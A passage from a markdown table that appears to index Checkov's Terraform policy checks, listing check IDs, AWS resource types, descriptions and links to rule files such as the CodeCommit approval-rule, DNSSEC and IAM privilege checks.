[CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2011 | CKV2_AWS_37 | resource | aws_vpc_endpoint_security_group_association | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2012 | CKV2_AWS_37 | resource | aws_vpc_endpoint_service | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2013 | CKV2_AWS_37 | resource | aws_vpc_endpoint_service_allowed_principal | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2014 | CKV2_AWS_37 | resource | aws_vpc_endpoint_service_private_dns_verification | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2015 | CKV2_AWS_37 | resource | aws_vpc_endpoint_subnet_association | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2016 | CKV2_AWS_37 | resource | aws_vpc_ipam | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2017 | CKV2_AWS_37 | resource | aws_vpc_ipam_organization_admin_account | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2018 | CKV2_AWS_37 | resource | aws_vpc_ipam_pool | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2019 | CKV2_AWS_37 | resource | aws_vpc_ipam_pool_cidr | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2020 | CKV2_AWS_37 | resource | aws_vpc_ipam_pool_cidr_allocation | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2021 | CKV2_AWS_37 | resource | aws_vpc_ipam_preview_next_cidr | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2022 | CKV2_AWS_37 | resource | aws_vpc_ipam_resource_discovery | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2023 | CKV2_AWS_37 | resource | aws_vpc_ipam_resource_discovery_association | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2024 | CKV2_AWS_37 | resource | aws_vpc_ipam_scope | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2025 | CKV2_AWS_37 | resource | aws_vpc_ipv4_cidr_block_association | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2026 | CKV2_AWS_37 | resource | aws_vpc_ipv6_cidr_block_association | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2027 | CKV2_AWS_37 | resource | aws_vpc_network_performance_metric_subscription | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2028 | CKV2_AWS_37 | resource | aws_vpc_peering_connection | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2029 | CKV2_AWS_37 | resource | aws_vpc_peering_connection_accepter | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2030 | CKV2_AWS_37 | resource | aws_vpc_peering_connection_options | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2031 | CKV2_AWS_37 | resource | aws_vpc_security_group_egress_rule | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2032 | CKV2_AWS_37 | resource | aws_vpc_security_group_ingress_rule | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2033 | CKV2_AWS_37 | resource | aws_vpc_security_group_vpc_association | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2034 | CKV2_AWS_37 | resource | aws_vpclattice_access_log_subscription | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2035 | CKV2_AWS_37 | resource | aws_vpclattice_auth_policy | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2036 | CKV2_AWS_37 | resource | aws_vpclattice_listener | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2037 | CKV2_AWS_37 | resource | aws_vpclattice_listener_rule | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2038 | CKV2_AWS_37 | resource | aws_vpclattice_resource_configuration | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2039 | CKV2_AWS_37 | resource | aws_vpclattice_resource_gateway | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2040 | CKV2_AWS_37 | resource | aws_vpclattice_resource_policy | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2041 | CKV2_AWS_37 | resource | aws_vpclattice_service | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2042 | CKV2_AWS_37 | resource | aws_vpclattice_service_network | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2043 | CKV2_AWS_37 | resource | aws_vpclattice_service_network_resource_association | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2044 | CKV2_AWS_37 | resource | aws_vpclattice_service_network_service_association | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2045 | CKV2_AWS_37 | resource | aws_vpclattice_service_network_vpc_association | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2046 | CKV2_AWS_37 | resource | aws_vpclattice_target_group | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2047 | CKV2_AWS_37 | resource | aws_vpclattice_target_group_attachment | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2048 | CKV2_AWS_37 | resource | aws_vpn_connection | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2049 | CKV2_AWS_37 | resource | aws_vpn_connection_route | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2050 | CKV2_AWS_37 | resource | aws_vpn_gateway | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2051 | CKV2_AWS_37 | resource | aws_vpn_gateway_attachment | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2052 | CKV2_AWS_37 | resource | aws_vpn_gateway_route_propagation | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2053 | CKV2_AWS_37 | resource | aws_waf_byte_match_set | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2054 | CKV2_AWS_37 | resource | aws_waf_geo_match_set | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2055 | CKV2_AWS_37 | resource | aws_waf_ipset | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2056 | CKV2_AWS_37 | resource | aws_waf_rate_based_rule | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2057 | CKV2_AWS_37 | resource | aws_waf_regex_match_set | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2058 | CKV2_AWS_37 | resource | aws_waf_regex_pattern_set | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2059 | CKV2_AWS_37 | resource | aws_waf_rule | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2060 | CKV2_AWS_37 | resource | aws_waf_rule_group | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2061 | CKV2_AWS_37 | resource | aws_waf_size_constraint_set | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2062 | CKV2_AWS_37 | resource | aws_waf_sql_injection_match_set | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2063 | CKV2_AWS_37 | resource | aws_waf_web_acl | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2064 | CKV2_AWS_37 | resource | aws_waf_xss_match_set | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2065 | CKV2_AWS_37 | resource | aws_wafregional_byte_match_set | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2066 | CKV2_AWS_37 | resource | aws_wafregional_geo_match_set | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2067 | CKV2_AWS_37 | resource | aws_wafregional_ipset | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2068 | CKV2_AWS_37 | resource | aws_wafregional_rate_based_rule | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2069 | CKV2_AWS_37 | resource | aws_wafregional_regex_match_set | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2070 | CKV2_AWS_37 | resource | aws_wafregional_regex_pattern_set | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2071 | CKV2_AWS_37 | resource | aws_wafregional_rule | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2072 | CKV2_AWS_37 | resource | aws_wafregional_rule_group | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2073 | CKV2_AWS_37 | resource | aws_wafregional_size_constraint_set | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2074 | CKV2_AWS_37 | resource | aws_wafregional_sql_injection_match_set | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2075 | CKV2_AWS_37 | resource | aws_wafregional_web_acl | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2076 | CKV2_AWS_37 | resource | aws_wafregional_web_acl_association | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2077 | CKV2_AWS_37 | resource | aws_wafregional_xss_match_set | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2078 | CKV2_AWS_37 | resource | aws_wafv2_ip_set | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2079 | CKV2_AWS_37 | resource | aws_wafv2_regex_pattern_set | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2080 | CKV2_AWS_37 | resource | aws_wafv2_rule_group | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2081 | CKV2_AWS_37 | resource | aws_wafv2_web_acl | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2082 | CKV2_AWS_37 | resource | aws_wafv2_web_acl_association | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2083 | CKV2_AWS_37 | resource | aws_wafv2_web_acl_logging_configuration | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2084 | CKV2_AWS_37 | resource | aws_worklink_fleet | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2085 | CKV2_AWS_37 | resource | aws_worklink_website_certificate_authority_association | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2086 | CKV2_AWS_37 | resource | aws_workspaces_connection_alias | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2087 | CKV2_AWS_37 | resource | aws_workspaces_directory | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2088 | CKV2_AWS_37 | resource | aws_workspaces_ip_group | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2089 | CKV2_AWS_37 | resource | aws_workspaces_workspace | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2090 | CKV2_AWS_37 | resource | aws_xray_encryption_config | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2091 | CKV2_AWS_37 | resource | aws_xray_group | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2092 | CKV2_AWS_37 | resource | aws_xray_sampling_rule | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2093 | CKV2_AWS_38 | resource | aws_route53_zone | Ensure Domain Name System Security Extensions (DNSSEC) signing is enabled for Amazon Route 53 public hosted zones | Terraform | [Route53ZoneEnableDNSSECSigning.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/Route53ZoneEnableDNSSECSigning.yaml) | | 2094 | CKV2_AWS_39 | resource | aws_route53_zone | Ensure Domain Name System (DNS) query logging is enabled for Amazon Route 53 hosted zones | Terraform | [Route53ZoneHasMatchingQueryLog.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/Route53ZoneHasMatchingQueryLog.yaml) | | 2095 | CKV2_AWS_40 | resource | aws_iam_group_policy | Ensure AWS IAM policy does not allow full IAM privileges | Terraform | [IAMPolicyNotAllowFullIAMAccess.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/IAMPolicyNotAllowFullIAMAccess.yaml) | | 2096 | CKV2_AWS_40 | resource | aws_iam_policy | Ensure AWS IAM policy does not allow full IAM privileges | Terraform | [IAMPolicyNotAllowFullIAMAccess.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/IAMPolicyNotAllowFullIAMAccess.yaml) | | 2097 | CKV2_AWS_40 | resource | aws_iam_role_policy | Ensure AWS IAM policy does not allow full IAM privileges | Terraform | [IAMPolicyNotAllowFullIAMAccess.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/IAMPolicyNotAllowFullIAMAccess.yaml) | | 2098 | CKV2_AWS_40 | resource | aws_iam_user_policy | Ensure AWS IAM policy does not allow full IAM privileges | Terraform | [IAMPolicyNotAllowFullIAMAccess.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/IAMPolicyNotAllowFullIAMAccess.yaml) | | 2099 | CKV2_AWS_40 | resource | aws_ssoadmin_permission_set_inline_policy | Ensure AWS IAM policy does not allow full IAM privileges | Terraform | [IAMPolicyNotAllowFullIAMAccess.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/IAMPolicyNotAllowFullIAMAccess.yaml) | | 2100 | CKV2_AWS_40 | resource | data.aws_iam_policy_document | Ensure AWS IAM policy does not allow full IAM privileges | Terraform | [IAMPolicyNotAllowFullIAMAccess.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/IAMPolicyNotAllowFullIAMAccess.yaml) | | 2101 | CKV2_AWS_41 | resource | aws_instance | Ensure an IAM role is attached to EC2 instance | Terraform | [EC2InstanceHasIAMRoleAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/EC2InstanceHasIAMRoleAttached.yaml) | | 2102 | CKV2_AWS_42 | resource | aws_cloudfront_distribution | Ensure AWS CloudFront distribution uses custom SSL certificate | Terraform | [CloudFrontHasCustomSSLCertificate.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CloudFrontHasCustomSSLCertificate.yaml) | | 2103 | CKV2_AWS_43 | resource | aws_s3_bucket_acl | Ensure S3 Bucket does not allow access to all Authenticated users | Terraform | [S3NotAllowAccessToAllAuthenticatedUsers.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/S3NotAllowAccessToAllAuthenticatedUsers.yaml) | | 2104 | CKV2_AWS_44 | resource | aws_route | Ensure AWS route table with VPC peering does not contain routes overly permissive to all traffic | Terraform | [VPCPeeringRouteTableOverlyPermissive.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/VPCPeeringRouteTableOverlyPermissive.yaml) | | 2105 | CKV2_AWS_44 | resource | aws_route_table | Ensure AWS route table with VPC peering does not contain routes overly permissive to all traffic | Terraform | [VPCPeeringRouteTableOverlyPermissive.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/VPCPeeringRouteTableOverlyPermissive.yaml) | | 2106 | CKV2_AWS_45 | resource | aws_config_configuration_recorder | Ensure AWS Config recorder is enabled to record all supported resources | Terraform | [AWSConfigRecorderEnabled.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/AWSConfigRecorderEnabled.yaml) | | 2107 | CKV2_AWS_45 | resource | aws_config_configuration_recorder_status | Ensure AWS Config recorder is enabled to record all supported resources | Terraform | [AWSConfigRecorderEnabled.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/AWSConfigRecorderEnabled.yaml) | | 2108 | CKV2_AWS_46 | resource | aws_cloudfront_distribution | Ensure AWS CloudFront Distribution with S3 have Origin Access set to enabled | Terraform | [CLoudFrontS3OriginConfigWithOAI.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CLoudFrontS3OriginConfigWithOAI.yaml) | | 2109 | CKV2_AWS_47 | resource | aws_cloudfront_distribution | Ensure AWS CloudFront attached WAFv2 WebACL is configured with AMR for Log4j Vulnerability | Terraform | [CloudFrontWebACLConfiguredWIthLog4jVulnerability.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CloudFrontWebACLConfiguredWIthLog4jVulnerability.yaml) | | 2110 | CKV2_AWS_47 | resource | aws_wafv2_web_acl | Ensure AWS CloudFront attached WAFv2 WebACL is configured with AMR for Log4j Vulnerability | Terraform | [CloudFrontWebACLConfiguredWIthLog4jVulnerability.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CloudFrontWebACLConfiguredWIthLog4jVulnerability.yaml) | | 2111 | CKV2_AWS_48 | resource | aws_config_configuration_recorder | Ensure AWS Config must record all possible resources | Terraform | [ConfigRecorderRecordsAllGlobalResources.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/ConfigRecorderRecordsAllGlobalResources.yaml) | | 2112 | CKV2_AWS_49 | resource | aws_dms_endpoint | Ensure AWS Database Migration Service 